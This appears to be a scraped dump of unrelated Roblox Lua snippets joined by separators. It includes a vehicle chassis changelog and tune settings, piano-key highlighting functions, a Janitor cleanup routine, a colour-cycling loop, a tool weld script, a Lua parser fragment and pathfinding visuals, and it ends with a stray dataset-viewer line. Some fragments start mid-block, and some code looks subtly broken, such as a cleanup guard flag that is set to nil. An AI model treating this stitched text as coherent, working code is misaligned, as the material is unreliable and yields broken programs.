-Moved controller and mouse deadzone values to the "Controls" section of the tune.
-Split controller deadzone into left and right input.
-Moved mouse control width to "Conrols" secton. This value now operates based off of % of screed width.
[Updated stock Controls Module]
-Added sliders for controller and mouse deadzone values.
-Added slider for mouse control width.
[6/15/16 : Build 6.3] - Motercisly
[Better motorcycle system support]
-Added wheel configurations "F" and "R" for single wheel settup.
-"F" and "R" wheels will have axle parts on both sides for better balance.
-These wheel configurations will ignore outor rotation value and will rotated based off of the inner rotation value only.
-Camber and Toe cannot be applied to these wheel configurations. Caster will still be applied as normal.
[Bug fixes]
-Caster now applies after wheel part rotations so wheel parts dont rotate with caster.
-Fixed Clutch re-engaging automatically when shifting out of neutral.
[6/4/16 : Build 6.21] - AC6 Official Public Kit Release
[Plugin FilteringEnabled compatability made easier]
-System now detects if there is a RemoteEvent or RemoteFunction inside a plugin. These will be parented directly under the car.
-The RemoteEvent/RemoteFunction needs to be a direct child of the plugin for it to be detected.
-Scripts inside the RemoteEvent/RemoteFunction should be disabled. They will be enabled after initialization.
-Be careful as this system is suceptible to name collisions. Name your RemoteEvents/RemoteFunctions uniquely.
-Stock AC6 Sound plugin is now FE compatible.
[Controls Panel now a plugin instead of integrated]
-Separated controls panel from Drive script. The controls panel is now a plugin.
-The "Controls" folder appears inside the interface on Drive startup. Use this folder to reference button mapping values for custom controls plugins.
-"ControlsOpen" value added. This is a safety toggle when changing control values. This value can be manipulated by plugins.
[New tune values]
-Added 'AutoFlip' tune value. This determines if the car automatically flips itself over when upside down.
-Added 'StAxisOffset' tune value. This offsets the center of the steering axis. Positive value = offset outward.
-Added 'SteerD', 'SteerMaxTorque', and 'SteerP' values which set the steering axle gyro properties.
[MiscWeld streamlining]
-Added "Misc" section to the main sections. This should contain scripted/moving parts.
-Parts in this section are NOT WELDED AUTOMATICALLY. Use the "MiscWeld" module to weld these parts. The "Misc" section is pre-referenced as 'misc'.
[Bug fixes]
-Fixed flip gyro not resetting when gyro is active and driver leaves car.
-Fixed issue with switching transmission modes.
--]]
|
return "6.43S"
|
--[[Weight and CG]]
|
Tune.Weight =3100 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
----------------------------------
------------FUNCTIONS-------------
----------------------------------
|
local TweenService = game:GetService("TweenService")
function Tween(obj,Goal,Time,...)
local TwInfo = TweenInfo.new(Time,...)
local twn = TweenService:Create(obj, TwInfo, Goal)
twn:Play()
twn.Completed:wait()
end
function UnDigify(digit)
if digit < 1 or digit > 61 then
return ""
elseif digit == 1 then
return "1"
elseif digit == 2 then
return "!"
elseif digit == 3 then
return "2"
elseif digit == 4 then
return "@"
elseif digit == 5 then
return "3"
elseif digit == 6 then
return "4"
elseif digit == 7 then
return "$"
elseif digit == 8 then
return "5"
elseif digit == 9 then
return "%"
elseif digit == 10 then
return "6"
elseif digit == 11 then
return "^"
elseif digit == 12 then
return "7"
elseif digit == 13 then
return "8"
elseif digit == 14 then
return "*"
elseif digit == 15 then
return "9"
elseif digit == 16 then
return "("
elseif digit == 17 then
return "0"
elseif digit == 18 then
return "q"
elseif digit == 19 then
return "Q"
elseif digit == 20 then
return "w"
elseif digit == 21 then
return "W"
elseif digit == 22 then
return "e"
elseif digit == 23 then
return "E"
elseif digit == 24 then
return "r"
elseif digit == 25 then
return "t"
elseif digit == 26 then
return "T"
elseif digit == 27 then
return "y"
elseif digit == 28 then
return "Y"
elseif digit == 29 then
return "u"
elseif digit == 30 then
return "i"
elseif digit == 31 then
return "I"
elseif digit == 32 then
return "o"
elseif digit == 33 then
return "O"
elseif digit == 34 then
return "p"
elseif digit == 35 then
return "P"
elseif digit == 36 then
return "a"
elseif digit == 37 then
return "s"
elseif digit == 38 then
return "S"
elseif digit == 39 then
return "d"
elseif digit == 40 then
return "D"
elseif digit == 41 then
return "f"
elseif digit == 42 then
return "g"
elseif digit == 43 then
return "G"
elseif digit == 44 then
return "h"
elseif digit == 45 then
return "H"
elseif digit == 46 then
return "j"
elseif digit == 47 then
return "J"
elseif digit == 48 then
return "k"
elseif digit == 49 then
return "l"
elseif digit == 50 then
return "L"
elseif digit == 51 then
return "z"
elseif digit == 52 then
return "Z"
elseif digit == 53 then
return "x"
elseif digit == 54 then
return "c"
elseif digit == 55 then
return "C"
elseif digit == 56 then
return "v"
elseif digit == 57 then
return "V"
elseif digit == 58 then
return "b"
elseif digit == 59 then
return "B"
elseif digit == 60 then
return "n"
elseif digit == 61 then
return "m"
else
return "?"
end
end
function IsBlack(note)
if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then
return true
end
end
function Startup()
blocker.Transparency = .9
blocker.CanCollide = true
local Display = Important.Display
local Properties = {}
Properties.Color = Color3.fromRGB(230, 230, 230)
Tween(Display,Properties,1,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
Properties = {}
Properties.Color = Color3.fromRGB(103, 130, 147)
Tween(Display,Properties,.5,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
Properties = {}
Properties.Transparency = 0
for i,v in pairs(SynthesiaKeys) do
coroutine.resume(coroutine.create(Tween),v,Properties,.5,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
end
Properties = {}
return
end
function Shutdown()
blocker.Transparency = 1
blocker.CanCollide = false
local Display = Important.Display
local Properties = {}
Properties.Transparency = 1
for i,v in pairs(SynthesiaKeys) do
coroutine.resume(coroutine.create(Tween),v,Properties,.4,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
end
Properties = {}
Properties.Color = Color3.fromRGB(88, 88, 88)
Tween(Display,Properties,.4,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
Properties = {}
return
end
function SynthesiaSend(note1)
local Properties = {}
local Sending
local Key
if IsBlack(note1) then
Sending = Piano.Case.BlackModel:Clone()
else
Sending = Piano.Case.WhiteModel:Clone()
end
Sending.Transparency = 0
Key = Piano.Keys.Keys:FindFirstChild(note1)
Sending.Position = Key.Position
Sending.Orientation = Key.Orientation
Sending.Parent = Piano.Keys
Properties.Position = Sending.Position + Vector3.new(0,4.9,0)
Tween(Sending,Properties,.7,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
Properties = {}
Sending:Destroy()
return
end
function HighlightPianoKey(note1,transpose)
if not Settings.KeyAesthetics then return end
local octave = math.ceil(note1/12)
local note2 = (note1 - 1)%12 + 1
local KeyboardKeys = Important.KeyboardKeys
coroutine.resume(coroutine.create(SynthesiaSend),note1)
local key = UnDigify(note1)
if not string.match(key,"%a") and not string.match(key,"%d") then
if key == "!" then
key = "1"
elseif key == "@" then
key = "2"
elseif key == "$" then
key = "4"
elseif key == "%" then
key = "5"
elseif key == "^" then
key = "6"
elseif key == "*" then
key = "8"
elseif key == "(" then
key = "9"
end
elseif string.match(key,"%a") then
key = string.upper(key)
end
if KeyboardKeys:FindFirstChild(key) then
key = KeyboardKeys:FindFirstChild(key)
local Properties = {}
if IsBlack(note1) then
Properties.Color = Color3.fromRGB(170, 243, 136)
Tween(key,Properties,.15,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
Properties = {}
else
Properties.Color = Color3.fromRGB(131, 238, 243)
Tween(key,Properties,.15,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
Properties = {}
end
Properties.Color = Color3.fromRGB(237, 234, 234) --goes back to white
Tween(key,Properties,.15,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
Properties = {}
end
return
end
|
--[=[
Calls each Object's `MethodName` (or calls the Object if `MethodName == true`) and removes them from the Janitor. Also clears the namespace.
This function is also called when you call a Janitor Object (so it can be used as a destructor callback).
```lua
Obliterator:Cleanup() -- Valid.
Obliterator() -- Also valid.
```
```ts
Obliterator.Cleanup()
```
]=]
|
function Janitor:Cleanup()
if not self.CurrentlyCleaning then
self.CurrentlyCleaning = nil
for Object, MethodName in pairs(self) do
if Object == IndicesReference then
continue
end
if MethodName == true then
Object()
else
local ObjectMethod = Object[MethodName]
if ObjectMethod then
ObjectMethod(Object)
end
end
self[Object] = nil
end
local This = self[IndicesReference]
if This then
table.clear(This)
self[IndicesReference] = {}
end
self.CurrentlyCleaning = false
end
end
|
---------------------
|
while true do
script.Parent.Color = Color3.new(255/255,0/255,0/255)
for i = 0,255,10 do
wait()
script.Parent.Color = Color3.new(255/255,i/255,0/255)
end
for i = 255,0,-10 do
wait()
script.Parent.Color = Color3.new(i/255,255/255,0/255)
end
for i = 0,255,10 do
wait()
script.Parent.Color = Color3.new(0/255,255/255,i/255)
end
for i = 255,0,-10 do
wait()
script.Parent.Color = Color3.new(0/255,i/255,255/255)
end
for i = 0,255,10 do
wait()
script.Parent.Color = Color3.new(i/255,0/255,255/255)
end
for i = 255,0,-10 do
wait()
script.Parent.Color = Color3.new(255/255,0/255,i/255)
end
end
|
------------------------------------------------------------------------
-- stuff
|
do
script.Parent.Equipped:connect(function()
if player == nil then
player = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
end
if character == nil or character.Parent == nil then
character = script.Parent.Parent
humanoid = character.Humanoid
isR15 = humanoid.RigType == Enum.HumanoidRigType.R15
rightHand = isR15 and character:WaitForChild("RightHand") or character:WaitForChild("Right Arm")
end
local getWeld = rightHand:WaitForChild("RightGrip")
local motor = Instance.new("Motor6D")
motor.Name = motorName
motor.Part0 = getWeld.Part0
motor.Part1 = getWeld.Part1
--motor.C0 = getWeld.C0
--motor.C1 = getWeld.C1
getWeld:Destroy()
motor.Parent = rightHand
end)
end
|
-- declarations
|
local Figure = script.Parent
local Head = Figure:WaitForChild("Head")
local Humanoid = Figure:WaitForChild("NPC")
local regening = false
|
------------------------------------------------------------------------
-- initial parsing for a for loop, calls fornum() or forlist()
-- * used in statements()
------------------------------------------------------------------------
|
function luaY:forstat(ls, line)
-- forstat -> FOR (fornum | forlist) END
local fs = ls.fs
local bl = {} -- BlockCnt
self:enterblock(fs, bl, true) -- scope for loop and control variables
luaX:next(ls) -- skip `for'
local varname = self:str_checkname(ls) -- first variable name
local c = ls.t.token
if c == "=" then
self:fornum(ls, varname, line)
elseif c == "," or c == "TK_IN" then
self:forlist(ls, varname)
else
luaX:syntaxerror(ls, self:LUA_QL("=").." or "..self:LUA_QL("in").." expected")
end
self:check_match(ls, "TK_END", "TK_FOR", line)
self:leaveblock(fs) -- loop scope (`break' jumps to this point)
end
|
--
|
end
else
print("sh")
end
else
print("arms")
end
end
function Key(key)
if key then
key = string.lower(key)
if (key=="v") then
if on == 1 then
on = 0
elseif on == 0 then
on = 1
end
Crouch(on)
end
end
end
function Equip(mouse)
mouse.KeyDown:connect(Key)
end
script.Parent.Equipped:connect(Equip)
|
--[[
@param Path Path The Path-object we want to visualize
@return Model DrawnPath Returns the model containing the drawn path
--]]
|
function Pathfinder:DrawPath(Path)
assert(Path and Path.Status == Enum.PathStatus.Success, "Pathfinder:DrawPath(Path) requires a valid Path!")
self:DestroyDrawnPath()
-- Generate new path visuals
local container = self._DrawnPath or Instance.new("Model")
container.Name = "Pathfinder_Path"
for index, waypoint in pairs(Path:GetWaypoints()) do
local p = Instance.new("Part")
p.Name = string.format("Waypoint_%d", index)
p.Anchored = true
p.CanCollide = false
p.Size = Vector3.new(1,1,1)
p.CFrame = CFrame.new(waypoint.Position)
p.BrickColor = waypoint.Action == Enum.PathWaypointAction.Jump and BrickColor.Blue() or BrickColor.Gray()
p.Parent = container
end
container.Parent = workspace
self._DrawnPath = container
return container
end
function Pathfinder:DestroyDrawnPath()
if self._DrawnPath then self._DrawnPath:ClearAllChildren() end
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.